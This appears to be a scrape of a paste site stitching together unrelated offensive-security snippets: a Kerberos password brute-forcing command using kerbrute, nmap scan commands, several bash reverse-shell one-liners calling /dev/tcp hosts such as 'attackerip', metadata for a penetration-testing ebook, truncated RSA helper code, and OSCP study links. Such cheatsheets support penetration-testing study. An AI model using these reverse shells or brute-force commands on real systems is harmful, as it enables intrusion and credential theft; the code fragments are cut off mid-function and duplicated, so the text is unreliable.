Hackalicious

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

Hackalicious

install all tools

• apt install kali-linux-all

.git folder downloader

• git clone https://github.com/internetwache/GitTools.git

Check ports with nmap

• nmap -sC -sV -oA initial 10.10.10.78
• nmap -sV -sC -oA nmap-tcp 10.10.10.84
• nmap -T4 -A -v -p 0-10000 10.10.10.8

Hackalicious

#bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

#bash alt
exec /bin/bash 0&0 2>&0

#bash alt 2
0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

#bash alt 3

Hackalicious

Document infos:
- Author = Peter Kim
- CreationDate = D:20180505020009+00'00'
- Creator = calibre 2.69.0 [https://calibre-ebook.com]
- Pages = 308
- Producer = calibre 2.69.0 [https://calibre-ebook.com]
- Title = The Hacker Playbook 3: Practical Guide To Penetration Testing
- dc = {'publisher': ['Secure Planet'], 'description': {'x-default': None}, 'language': ['en'], 'creator': ['Peter Kim'], 'title': {'x-default': 'The Hacker Playbook 3: Practical Guide To Penetration Testing'}, 'date': ['2018-05-01T00:00:00+02:00'], 'subject': []}
- http://calibre-ebook.com/xmp-namespace = {'timestamp': '2018-05-03T18:05:43.134685+02:00', 'author_sort': 'Kim, Peter'}
- xap = {'Identifier': ['\n            '], 'MetadataDate': '2018-05-05T04:00:09.811485+02:00'}

Hackalicious

#!/usr/bin/env python3

p = 61
q = 53

n = p*q
phi = (p-1)*(q-1)

# Took from SO
def egcd(a, b):

Hackalicious

import random
import math

class RSA:
    def __init__(self):
        self.e = self.d = self.p = self.q = self.phi = 0

    def __egcd(self, a, b):
        if a == 0:
            return (b, 0, 1)

Hackalicious

def I(s):
  val = 0
  for i in range(len(s)):
    digit = ord(s[len(s) - i - 1])
    val <<= 8
    val |= digit
  return val

def Sn(i, length):
  s = ''

Hackalicious

def I(s):
  val = 0
  for i in range(len(s)):
    digit = ord(s[len(s) - i - 1])
    val <<= 8
    val |= digit
  return val

def Sn(i, length):
  s = ''

Hackalicious

24x7x365 SUPPORT http://www.captiongenerator.com/320492/Offsec-Student-Admins

https://natesubra.com/go/oscp

OSCP Syllabus:

https://www.offensive-security.com/information-security-training/penetration-testing-training-kali-linux/

Windows Privilege Escalation:

http://www.fuzzysecurity.com/tutorials/16.html